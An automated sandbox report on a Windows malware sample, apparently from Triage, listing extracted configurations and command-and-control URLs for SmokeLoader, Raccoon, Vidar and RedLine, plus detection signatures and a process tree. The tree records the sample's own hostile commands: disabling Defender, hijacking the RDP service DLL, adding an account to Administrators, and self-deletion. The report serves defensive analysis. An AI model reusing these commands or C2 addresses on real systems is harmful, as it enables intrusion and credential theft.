raccoon | 6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb

Analysis

max time kernel
152s
max time network
152s
platform
windows10_x64
resource
win10v20210408
submitted
13-10-2021 13:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe
Size

310KB
MD5

4e7d2f61317c940dc939ba2ca9393a23
SHA1

12f176cf157b5958fb843907d3d44ac464f13d81
SHA256

6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb
SHA512

8dbd96f861b7e746752e9c2e4eddba9e882b3d18f130ee66574bf244e2e4a1140a4cd034c7b25c04778752b44434c2a2438c0037487c41f50ba361c8774589f0

Malware Config

Extracted

Family

smokeloader

Version

2020

http://honawey7.xyz/

http://wijibui0.xyz/

http://hefahei6.xyz/

http://pipevai4.xyz/

http://nalirou7.xyz/

http://xacokuo8.xyz/

http://hajezey1.xyz/

http://gejajoo7.xyz/

http://sysaheu9.xyz/

http://rixoxeu9.xyz/

rc4.i32

Extracted

Family

raccoon

Version

1.8.2

Botnet

fbe5e97e7d069407605ee9138022aa82166657e6

Attributes

url4cnc
http://telemirror.top/stevuitreen

http://tgmirror.top/stevuitreen

http://telegatt.top/stevuitreen

http://telegka.top/stevuitreen

http://telegin.top/stevuitreen

https://t.me/stevuitreen

rc4.plain

Extracted

Family

vidar

Version

41.3

Botnet

1033

https://mas.to/@oleg98

Attributes

profile_id
1033

Extracted

Family

raccoon

Botnet

4b9b8980a10a7e59f200af975a29a100ba819fe0

Attributes

url4cnc
http://telemirror.top/ararius809b

http://tgmirror.top/ararius809b

http://telegatt.top/ararius809b

http://telegka.top/ararius809b

http://telegin.top/ararius809b

https://t.me/ararius809b

rc4.plain

Extracted

Family

redline

Botnet

109.234.34.165:12323

Extracted

Family

raccoon

Version

1.8.2

Botnet

c8fdd015293e99dac71bc0cfc194d3ce612abf3e

Attributes

url4cnc
http://telemirror.top/rocketmanthem2

http://tgmirror.top/rocketmanthem2

http://telegatt.top/rocketmanthem2

http://telegka.top/rocketmanthem2

http://telegin.top/rocketmanthem2

https://t.me/rocketmanthem2

rc4.plain

Extracted

Family

raccoon

Botnet

7ebf9b416b72a203df65383eec899dc689d2c3d7

Attributes

url4cnc
http://telegatt.top/agrybirdsgamerept

http://telegka.top/agrybirdsgamerept

http://telegin.top/agrybirdsgamerept

https://t.me/agrybirdsgamerept

rc4.plain

Extracted

Family

redline

Botnet

huyzalupanew

135.181.208.162:13904

Extracted

Family

redline

Botnet

@Nastya_ero

45.14.49.66:21899

Extracted

Family

redline

Botnet

MegaProliv2

93.115.20.139:28978

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 9 IoCs

resource	yara_rule
behavioral1/memory/528-141-0x0000000000A60000-0x0000000000A91000-memory.dmp	family_redline
behavioral1/memory/528-146-0x0000000002850000-0x000000000286C000-memory.dmp	family_redline
behavioral1/memory/1872-199-0x0000000000750000-0x0000000000781000-memory.dmp	family_redline
behavioral1/memory/1872-205-0x0000000002860000-0x000000000287C000-memory.dmp	family_redline
behavioral1/memory/1172-244-0x0000000005A30000-0x0000000005A4C000-memory.dmp	family_redline
behavioral1/memory/1496-250-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral1/memory/1496-251-0x000000000041B252-mapping.dmp	family_redline
behavioral1/memory/4456-405-0x000000000041B22A-mapping.dmp	family_redline
behavioral1/memory/4456-449-0x0000000005700000-0x0000000005D06000-memory.dmp	family_redline

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 3024 created 1872	3024	WerFault.exe	88
PID 3064 created 1716	3064	WerFault.exe	78

Turns off Windows Defender SpyNet reporting 2 TTPs
evasion

Disabling Security Tools
T1089

Modify Registry
T1112
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
suricata: ET MALWARE Amadey CnC Check-In
suricata: ET MALWARE Amadey CnC Check-In
suricata
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Nirsoft 3 IoCs

resource	yara_rule
behavioral1/files/0x000100000001ab7e-366.dat	Nirsoft
behavioral1/files/0x000100000001ab7e-367.dat	Nirsoft
behavioral1/files/0x000100000001ab7e-371.dat	Nirsoft

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral1/memory/1332-132-0x0000000003430000-0x0000000003506000-memory.dmp	family_vidar
behavioral1/memory/1332-133-0x0000000000400000-0x0000000001735000-memory.dmp	family_vidar

Downloads MZ/PE file

Executes dropped EXE 31 IoCs

pid	Process
2756	C3C3.exe
1332	C73E.exe
1716	CFBB.exe
528	D3F2.exe
2168	DDB7.exe
3728	E21D.exe
4092	EDF6.exe
604	F4AD.exe
3884	E21D.exe
1872	FCEC.exe
620	E21D.exe
2344	29A.exe
68	bbjggue
700	5E7.exe
1172	897.exe
1496	E21D.exe
1576	2364.exe
4004	bbjggue
712	314F.exe
1768	3A97.exe
1652	sqtvvs.exe
3800	AdvancedRun.exe
4172	AdvancedRun.exe
4456	3A97.exe
4684	NylghausHosen_2021-10-12_23-24 2.exe
4748	Qf5dSHBPGf8J.exe
444	29A.exe
4488	sqtvvs.exe
4188	mine.exe
4108	6666.exe
3236	services32.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x000400000001ab50-333.dat	vmprotect
behavioral1/files/0x000400000001ab50-343.dat	vmprotect
behavioral1/files/0x000300000001ab7b-354.dat	vmprotect

Deletes itself 1 IoCs

pid	Process
1964	Process not Found

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime.exe	2364.exe

Loads dropped DLL 2 IoCs

pid	Process
1332	C73E.exe
1332	C73E.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	3A97.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	3A97.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	3A97.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet	3A97.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0"	3A97.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0"	3A97.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	3A97.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	3A97.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\3A97.exe = "0"	3A97.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection	3A97.exe

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\rdpclip.exe	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs

pid	Process
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe
1768	3A97.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 516 set thread context of 3396	516	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe	72
PID 3728 set thread context of 1496	3728	E21D.exe	94
PID 68 set thread context of 4004	68	bbjggue	105
PID 1768 set thread context of 4456	1768	3A97.exe	121
PID 2344 set thread context of 444	2344	29A.exe	148

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3024	1872	WerFault.exe	88
3064	1716	WerFault.exe	78

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	bbjggue
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	bbjggue
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	bbjggue
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	C73E.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	C73E.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2228	schtasks.exe
4624	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3228	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1932	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	29A.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4116	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3396	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe
3396	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found
1964	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1964	Process not Found

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
640	Process not Found

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
3396	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe
4004	bbjggue

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeDebugPrivilege	528	D3F2.exe
Token: SeDebugPrivilege	1932	taskkill.exe
Token: SeRestorePrivilege	3024	WerFault.exe
Token: SeBackupPrivilege	3024	WerFault.exe
Token: SeDebugPrivilege	3024	WerFault.exe
Token: SeDebugPrivilege	1172	897.exe
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeDebugPrivilege	1496	E21D.exe
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeDebugPrivilege	3692	powershell.exe
Token: SeDebugPrivilege	1768	3A97.exe
Token: SeDebugPrivilege	3800	AdvancedRun.exe
Token: SeImpersonatePrivilege	3800	AdvancedRun.exe
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeDebugPrivilege	4172	AdvancedRun.exe
Token: SeImpersonatePrivilege	4172	AdvancedRun.exe
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeDebugPrivilege	2344	29A.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeDebugPrivilege	4456	3A97.exe
Token: SeShutdownPrivilege	1964	Process not Found
Token: SeCreatePagefilePrivilege	1964	Process not Found
Token: SeShutdownPrivilege	1964	Process not Found

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1964	Process not Found
1964	Process not Found

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
1964	Process not Found
1964	Process not Found

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
1964	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 516 wrote to memory of 3396	516	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe	72
PID 516 wrote to memory of 3396	516	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe	72
PID 516 wrote to memory of 3396	516	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe	72
PID 516 wrote to memory of 3396	516	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe	72
PID 516 wrote to memory of 3396	516	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe	72
PID 516 wrote to memory of 3396	516	6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe	72
PID 1964 wrote to memory of 2756	1964	Process not Found	76
PID 1964 wrote to memory of 2756	1964	Process not Found	76
PID 1964 wrote to memory of 2756	1964	Process not Found	76
PID 1964 wrote to memory of 1332	1964	Process not Found	77
PID 1964 wrote to memory of 1332	1964	Process not Found	77
PID 1964 wrote to memory of 1332	1964	Process not Found	77
PID 1964 wrote to memory of 1716	1964	Process not Found	78
PID 1964 wrote to memory of 1716	1964	Process not Found	78
PID 1964 wrote to memory of 1716	1964	Process not Found	78
PID 1964 wrote to memory of 528	1964	Process not Found	79
PID 1964 wrote to memory of 528	1964	Process not Found	79
PID 1964 wrote to memory of 528	1964	Process not Found	79
PID 1964 wrote to memory of 2168	1964	Process not Found	81
PID 1964 wrote to memory of 2168	1964	Process not Found	81
PID 1964 wrote to memory of 2168	1964	Process not Found	81
PID 1964 wrote to memory of 3728	1964	Process not Found	82
PID 1964 wrote to memory of 3728	1964	Process not Found	82
PID 1964 wrote to memory of 3728	1964	Process not Found	82
PID 3728 wrote to memory of 3884	3728	E21D.exe	84
PID 3728 wrote to memory of 3884	3728	E21D.exe	84
PID 3728 wrote to memory of 3884	3728	E21D.exe	84
PID 1964 wrote to memory of 4092	1964	Process not Found	85
PID 1964 wrote to memory of 4092	1964	Process not Found	85
PID 1964 wrote to memory of 4092	1964	Process not Found	85
PID 1964 wrote to memory of 604	1964	Process not Found	86
PID 1964 wrote to memory of 604	1964	Process not Found	86
PID 1964 wrote to memory of 604	1964	Process not Found	86
PID 3728 wrote to memory of 620	3728	E21D.exe	87
PID 3728 wrote to memory of 620	3728	E21D.exe	87
PID 3728 wrote to memory of 620	3728	E21D.exe	87
PID 1964 wrote to memory of 1872	1964	Process not Found	88
PID 1964 wrote to memory of 1872	1964	Process not Found	88
PID 1964 wrote to memory of 1872	1964	Process not Found	88
PID 1332 wrote to memory of 3372	1332	C73E.exe	89
PID 1332 wrote to memory of 3372	1332	C73E.exe	89
PID 1332 wrote to memory of 3372	1332	C73E.exe	89
PID 3372 wrote to memory of 1932	3372	cmd.exe	92
PID 3372 wrote to memory of 1932	3372	cmd.exe	92
PID 3372 wrote to memory of 1932	3372	cmd.exe	92
PID 3728 wrote to memory of 1496	3728	E21D.exe	94
PID 3728 wrote to memory of 1496	3728	E21D.exe	94
PID 3728 wrote to memory of 1496	3728	E21D.exe	94
PID 1964 wrote to memory of 2344	1964	Process not Found	95
PID 1964 wrote to memory of 2344	1964	Process not Found	95
PID 3372 wrote to memory of 3228	3372	cmd.exe	96
PID 3372 wrote to memory of 3228	3372	cmd.exe	96
PID 3372 wrote to memory of 3228	3372	cmd.exe	96
PID 1964 wrote to memory of 700	1964	Process not Found	98
PID 1964 wrote to memory of 700	1964	Process not Found	98
PID 2168 wrote to memory of 3268	2168	DDB7.exe	99
PID 2168 wrote to memory of 3268	2168	DDB7.exe	99
PID 2168 wrote to memory of 3268	2168	DDB7.exe	99
PID 1964 wrote to memory of 1172	1964	Process not Found	101
PID 1964 wrote to memory of 1172	1964	Process not Found	101
PID 1964 wrote to memory of 1172	1964	Process not Found	101
PID 3728 wrote to memory of 1496	3728	E21D.exe	94
PID 3728 wrote to memory of 1496	3728	E21D.exe	94
PID 3728 wrote to memory of 1496	3728	E21D.exe	94

C:\Users\Admin\AppData\Local\Temp\6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe
"C:\Users\Admin\AppData\Local\Temp\6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:516
- C:\Users\Admin\AppData\Local\Temp\6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe
  "C:\Users\Admin\AppData\Local\Temp\6cf0baff3d21dd59d2d21e3ac0c3cc581b057a4316af4cb0cc36bb819b1de8eb.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:3396

C:\Users\Admin\AppData\Local\Temp\C3C3.exe
C:\Users\Admin\AppData\Local\Temp\C3C3.exe
1⤵
- Executes dropped EXE
PID:2756

C:\Users\Admin\AppData\Local\Temp\C73E.exe
C:\Users\Admin\AppData\Local\Temp\C73E.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1332
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /im C73E.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\C73E.exe" & del C:\ProgramData\*.dll & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im C73E.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1932
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 6
    3⤵
    - Delays execution with timeout.exe
    PID:3228

C:\Users\Admin\AppData\Local\Temp\CFBB.exe
C:\Users\Admin\AppData\Local\Temp\CFBB.exe
1⤵
- Executes dropped EXE
PID:1716
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1716 -s 928
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  PID:3064

C:\Users\Admin\AppData\Local\Temp\D3F2.exe
C:\Users\Admin\AppData\Local\Temp\D3F2.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:528

C:\Users\Admin\AppData\Local\Temp\DDB7.exe
C:\Users\Admin\AppData\Local\Temp\DDB7.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  PID:3268
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1j0jo4oh\1j0jo4oh.cmdline"
    3⤵
    PID:2800
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES220F.tmp" "c:\Users\Admin\AppData\Local\Temp\1j0jo4oh\CSC445D7A85EDD9432F95C54633D8E6EAD.TMP"
      4⤵
      PID:1340
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3692
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    PID:4840
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    PID:4392
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:3100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:4116
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2072
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    PID:4092
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1276
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    PID:4964
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:4908
    - - C:\Windows\SysWOW64\net.exe
        
        net start rdpdr
        5⤵
        
        PID:4864
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:4936
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:5040
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:5076
    - - C:\Windows\SysWOW64\net.exe
        
        net start TermService
        5⤵
        
        PID:4420
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:4516

C:\Users\Admin\AppData\Local\Temp\E21D.exe
C:\Users\Admin\AppData\Local\Temp\E21D.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3728
- C:\Users\Admin\AppData\Local\Temp\E21D.exe
  C:\Users\Admin\AppData\Local\Temp\E21D.exe
  2⤵
  - Executes dropped EXE
  PID:3884
- C:\Users\Admin\AppData\Local\Temp\E21D.exe
  C:\Users\Admin\AppData\Local\Temp\E21D.exe
  2⤵
  - Executes dropped EXE
  PID:620
- C:\Users\Admin\AppData\Local\Temp\E21D.exe
  C:\Users\Admin\AppData\Local\Temp\E21D.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1496

C:\Users\Admin\AppData\Local\Temp\EDF6.exe
C:\Users\Admin\AppData\Local\Temp\EDF6.exe
1⤵
- Executes dropped EXE
PID:4092

C:\Users\Admin\AppData\Local\Temp\F4AD.exe
C:\Users\Admin\AppData\Local\Temp\F4AD.exe
1⤵
- Executes dropped EXE
PID:604

C:\Users\Admin\AppData\Local\Temp\FCEC.exe
C:\Users\Admin\AppData\Local\Temp\FCEC.exe
